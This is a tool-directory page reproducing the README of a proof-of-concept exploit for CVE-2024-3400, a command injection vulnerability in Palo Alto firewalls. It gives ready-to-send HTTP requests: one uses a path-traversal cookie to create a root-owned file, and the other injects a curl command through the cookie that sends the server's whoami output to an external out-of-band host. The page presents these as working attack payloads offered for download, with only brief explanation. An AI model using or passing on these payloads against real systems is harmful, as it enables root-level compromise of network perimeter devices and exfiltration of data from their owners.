Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-3400-poc — Proof-of-concept exploit for CVE-2024-3400, a command injection vulnerability in Palo Alto firewalls, demonstrating file creation and remote command execution via crafted HTTP requests. | Kitploit
Tools/GitHubGitHub/ghassansabir/cve-2024-3400-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubghassansabir/cve-2024-3400-poc

CVE-2024-3400-poc

Proof-of-concept exploit for CVE-2024-3400, a command injection vulnerability in Palo Alto firewalls, demonstrating file creation and remote command execution via crafted HTTP requests.

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-3400 Vulnerability PoC (Proof of Concept)

Vulnerability Description

CVE-2024-3400 is a command injection vulnerability in Palo Alto firewall systems. By crafting a malicious HTTP request, an attacker can execute arbitrary commands on the target server and even gain root privileges.

Vulnerability Reproduction Steps

  1. Send the following HTTP request:
root@kitploit:~
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

After sending this request, a file named hellome1337.txt will be created on the server, and the file will have root privileges.

  1. When you attempt to access this file, it should return HTTP status code 403 (Forbidden) instead of 404 (Not Found).

The screenshots below demonstrate the effect of this exploit:

image

image

Command Injection Example

To exploit this vulnerability for command injection, you can send the following HTTP request:

root@kitploit:~
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

This request executes the whoami command on the server and sends the result to a specified remote server (e.g., xxxxxxxxxxxxxxxxx.oast.fun).

Further Reading

  • Rapid7 Analysis
  • WatchTowr Labs Analysis
Download Tool